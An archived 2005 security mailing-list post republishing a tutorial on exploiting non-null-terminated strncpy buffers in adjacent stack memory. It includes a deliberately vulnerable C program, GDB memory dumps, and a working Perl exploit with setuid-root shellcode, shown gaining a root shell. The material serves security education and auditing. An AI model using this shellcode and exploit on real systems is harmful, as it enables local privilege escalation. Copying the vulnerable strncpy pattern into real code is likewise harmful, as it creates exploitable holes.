[REVS] Exploring Adjacent Memory Against strncpy

From: SecuriTeam (support_at_securiteam.com)
Date: 02/02/05

  • Next message: SecuriTeam: "[EXPL] Microsoft Internet Explorer .ANI Files Handling ConnectBack Exploit (MS05-002)"
    To: list@securiteam.com
    Date: 2 Feb 2005 16:42:37 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Exploring Adjacent Memory Against strncpy
    ------------------------------------------------------------------------

    SUMMARY

    Advance methods of exploitation that take advantage of vulnerable
    functions like strncpy() are not as well documented as basic stack
    overflows. The exploitation of adjacent memory overflows is one of these
    poorly documented methods.

    Adjacent memory overflows normally occur by cause of a bad programming
    style strncpy(), however this is not the only vulnerable function. This
    paper will focus on strncpy() as an example.

    DETAILS

    Requirements for reading this paper:
    You must know how basic buffer overflows occur. Further more you must know
    some Perl, a bit of C and how GDB (GNU debugger) works. If you don't fill
    these requirements it is suggested you to read papers on each of these
    topics before reading this paper.

    What is adjacent memory and why can it form a security risk:
    strncpy() performs bounds checking and seems to be secure when speaking in
    terms of normal buffer overflows. However if the programmer is careless,
    it can be exploited with the adjacent memory method.

    This occurs when a string is the same size as the limit of the buffer
    itself thus not being NULL (0x00) terminated:
    If: char buffer[256]
    If: input string = 256 bytes
    Then: no NULL termination at all

    Seeing as the buffer is not NULL terminated, we have closed the gap
    between the memory used by $ARGV[0] and $ARGV[1] (perl's way). However
    when the buffer is NULL terminated we would not be able to manipulate
    data.

    Exploiting the closed gap between the two buffers is similar to a simple
    stack overflow. We simply change the return address (%eip) and make it
    point to our malicious code and we have a shell.

    Example Code:
    Example of a vulnerable code taken from mercy (mercy@dtors.net)

    #include <stdio.h>

    int main(int argc, char **argv)
    {
    char copy_buff[263];
    char exploit_string[1024]; /*second buffer $ARGV[1]*/
    char vuln_array[256]; /*first buffer $ARGV[0]*/

         if(argc <= 2){
             printf("%s\n","Use arg1 arg2");
             exit(0);
          }

    strncpy(vuln_array, argv[1], sizeof(vuln_array)); /*vulnerable function
    where we will write 256 bytes as defined in char vuln_array[256]*/
    strncpy(exploit_string, argv[2], sizeof(exploit_string)); /*overflow will
    take place here*/
    sprintf(copy_buff,"MSG: %s\n",vuln_array);
    printf("%s\n",copy_buff);
    return(0);
    }

    Note that function:
    - strncpy(vuln_array, argv[1], sizeof(vuln_array)) does not require null
    termination, giving us a window of opportunity.

    Using GDB to Exploit the Vulnerability:
    Notes:
    1) Before we continue Carlos will explain that he removed some parts of
    the output gdb produced, so that we just use the information we need.

    2) On gdb output you may find some comments "#" these are there to clear
    up things.
    Continuing...

    In the first example we write 255 bytes to the vuln_array`s buffer, 1 less
    than the limit of 256 and then we'll debug it, observing what happens to
    %esp register just after data input, but before one we continue one
    remark:

    - Whenever a buffer is not filled completely with user input, null bytes
    will be concatenated to the buffer.
    Now some gdb output:

    ---------- GDB BEGIN -----------
    [nuTshell@localhost ~]$ gdb -q ./vuln
    (gdb) disas main
    bla
    bla
    bla
    0x8048471 <main+177>: ret
    0x8048472 <main+178>: nop
    0x8048473 <main+179>: nop
    End of assembler dump.
    (gdb) break *0x8048471 # breakpoint at ret.
    Breakpoint 1 at 0x8048471
    (gdb) r `perl -e 'print "A"x255'` `perl -e 'print "B"x256'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y

    Starting program: /home/hash/Programming/Underground_Area/adjacent/vuln
    `perl
    -e 'print "A"x255'` `perl -e 'print "B"x200'`
    MSG:
    AAAAAAAAA....A
    Breakpoint 1, 0x08048471 in main ()
    (gdb) x/200xb $esp-200
    bla
    bla
    bla
    0xbffffa74: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffffa7c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffffa84: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffffa8c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffffa94: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffffa9c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffffaa4: 0x41 ->0x00<- 0x42 0x42 0x42 0x42 0x42 0x42
    0xbffffaac: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
    0xbffffab4: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
    ------------- GDB END-------------------

    Take a look at 0xbffffaa4, it is clear it is NULL (0x00) terminated by the
    strncpy(), followed by 0x42, "B" in hexadecimal. It's a good habit to fill
    buffers with characters as: A, B, C as these can be easily tracked in GDB
    (resp. 0x41, 0x42, 0x43)

    So now what happens if we put 256 bytes in the first buffer? Lets find
    out:

    ---------- GDB BEGIN -----------
    (gdb) r `perl -e 'print "A"x256'` `perl -e 'print "B"x200'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y

    Starting program: /home/hash/Programming/Underground_Area/adjacent/vuln
    `perl
    -e 'print "A"x256'` `perl -e 'print "B"x200'`
    MSG:
    A...AAAAAAAAAB...BBBBB

    Breakpoint 1, 0x08048471 in main ()
    (gdb) x/200xb $esp-200
    bla
    bla
    bla
    0xbffff7a4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff7ac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff7b4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff7bc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff7c4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff7cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff7d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff7dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff7e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff7ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff7f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff7fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff804: 0x41 0x42 0x42 0x42 0x42 0x42 0x42 0x42
    0xbffff80c: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
    0xbffff814: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42
    ------------ GDB END ----------------

    Well well well... do you see any 0x00 between 0x41 and 0x42? The NULL byte
    gap between $ARGV[0] and $ARGV[1] has been overwritten by our data. The
    buffer overflow seems to occur at the second buffer, however this is but
    an illusion,it overflows at the first buffer because there is no null byte
    any more and processor handles this as one data input, thus: Overflow!

    Exploring:
    Now that we have created a window of opportunity. Let's explore it!

    ------------ GDB BEGIN -----------------
    [nuTshell@localhost ~]$ gdb -q ./vuln
    (gdb) r `perl -e 'print "A"x256'` `perl -e 'print "B"x25'`
    Starting program: /home/hash/Programming/Underground_Area/adjacent/vuln
    `perl -e 'print "A"x256'` `perl -e 'print "B"x25'`
    MSG:
    A...AABBBBBBBBBBBBBBBBBBBBBBBBB

    Program received signal SIGSEGV, Segmentation fault.
    0x000a4242 in ?? ()
    (gdb) i r ebp
    ebp 0x41414141 0x41414141
    ------------ GDB END -------------------------

    %ebp register has been completely overwritten and %eip was partially
    overwritten by 2 bytes -> 0x000a4141 .

    This way it is easy to discover that if we put 27 bytes in the second
    buffer the return address will be completely filled up with our malicious
    address.

    In the previous example we used 25 bytes and %eip was overwritten by 2
    bytes. (Carlos must note that he has changed his buffer input a couple of
    times just to get the exact buffer size).

    Exploit:
    Below is the exploit (Proof of Concept) for our vulnerable code:
    #!/usr/bin/perl
    #
    # Example POC exploiting adjacent memory spaces
    # ./vuln `perl -e 'print "A"x256'` `perl -e 'print "B"x23'`
    # `perl -e 'print "C"x4'` <- here we overwrite ret!
    # *remember what i told you about using A, B, C...?
    #
    # strncpy() vulnerable function
    #
    # Author: Carlos Carvalho length@flowsecurity.org

    $shellcode = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80". #setuid0
                 "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
                 "\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
    $path = "./vuln";

    $shelladdr = 0xbffffffa - length($shellcode) - length($path); #Calculate
    the memory address of the shellcode.

    $ret = pack("l",$shelladdr);

    $buffer1 = "\x90"x256; #fill the first buffer with 256 nops.
    $buffer2 .= "\x90"x23; #fill the second buffer with 23 nops.
    $buffer2 .= $ret; #the last 4 bytes are filled by our $shellcode
    address.

    local($ENV{"HACK"}) = $shellcode; #"HACK" env receives $shellcode.

    printf("Adjacent Memory local overflow by nuTshell\n");
    exec("$path $buffer1 $buffer2"); #Execute vuln with first and second
    buffers.

    Exploit Details:
    Note: size of $ARGV[1] may vary from system to system, example:
    - Slackware 9.1 2.4.26, gcc version 3.2.3 = $buffer2 .=> "\x90"x23;
    - RedHat 8.0 2.4.18-14, gcc 3.2 = $buffer2 .=> "\x90"x23;
    - Conectiva 8.0 2.4.18-2cl, gcc 2.95.3 => $buffer2 .= "\x90"x7;

    You can test it by using gdb as in the above examples, increasing and
    decreasing the size of our second argument progressively and checking what
    happens to the %eip register.
    Now lets try to execute our exploit and see what happens. The exploit will
    gain root as the vulnerable program has been made setuid (chmod +s vuln):

    [nuTshell@localhost ~]$ ./adjacent.pl
    Adjacent Memory local overflow by nuTshell
    MSG:

    sh-2.05b# id
    uid=0(root) gid=500(nuTshell) groups=500(nuTshell),10(wheel)
    sh-2.05b# exit
    exit
    [nuTshell@localhost~]$

    Conclusions:
    If you have read this document and you still find the technique very hard
    it is suggested you read the paper again and again until you completely
    understand and master the method used.

    If you already have had some experience exploiting simple buffer overflows
    and auditing then maybe you have passed code containing such a flaw while
    auditing but you failed to see the flaw.

    References:
     <http://www.subterrain.net/overflow-papers/adv.overflow.paper.txt>
    http://www.subterrain.net/overflow-papers/adv.overflow.paper.txt

     <http://www.infosecwriters.com/texts.php?op=display&id=140>
    http://www.infosecwriters.com/texts.php?op=display&id=140

     
    <http://www.cosc.brocku.ca/~cspress/HelloWorld/1999/04-apr/attack_class.html> http://www.cosc.brocku.ca/~cspress/HelloWorld/1999/04-apr/attack_class.html

     <http://www.l0t3k.net/biblio/shellcode/en/Writing_shellcode.html>
    http://www.l0t3k.net/biblio/shellcode/en/Writing_shellcode.html

     <http://www.phrack.org/phrack/56/p56-0x0e>
    http://www.phrack.org/phrack/56/p56-0x0e

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nuTshell@flowsecurity.org>
    Carlos Carvalho.
    The original article can be found at:
    <http://www.flowsecurity.org/papers_open.php?nid=2>
    http://www.flowsecurity.org/papers_open.php?nid=2

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Microsoft Internet Explorer .ANI Files Handling ConnectBack Exploit (MS05-002)"

    Relevant Pages

    • [NEWS] hpaftpd Multiple Buffer Overflows
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... hpaftpd Multiple Buffer Overflows ...
      (Securiteam)
    • [NEWS] Multiple ValiCert Security Problems
      ... * Enterprise VA Host Server for processing validation requests VA API ... Multiple buffer overflows exist in the CGI script, forms.exe, which is ... Analysis of the code and stack contents reveals that the unchecked buffer ...
      (Securiteam)
    • [UNIX] LibSPF2 DNS TXT Record Parsing Bug
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... LibSPF2 DNS TXT Record Parsing Bug ... rdlen byte buffer. ...
      (Securiteam)
    • [EXPL] NetTerms NetFTPd Buffer Overflow (USER, Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Win32 telnet client software - "NetTerm is a network terminal which can ... NetTerm's NetFTPd has a buffer overflow on authentication buffer. ... def setebpaddr: ...
      (Securiteam)
    • [UNIX] Conquest Client Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Conquest Client Buffer Overflow ... SP_CLIENTSTAT is a type of packet used by the server for sending some ...
      (Securiteam)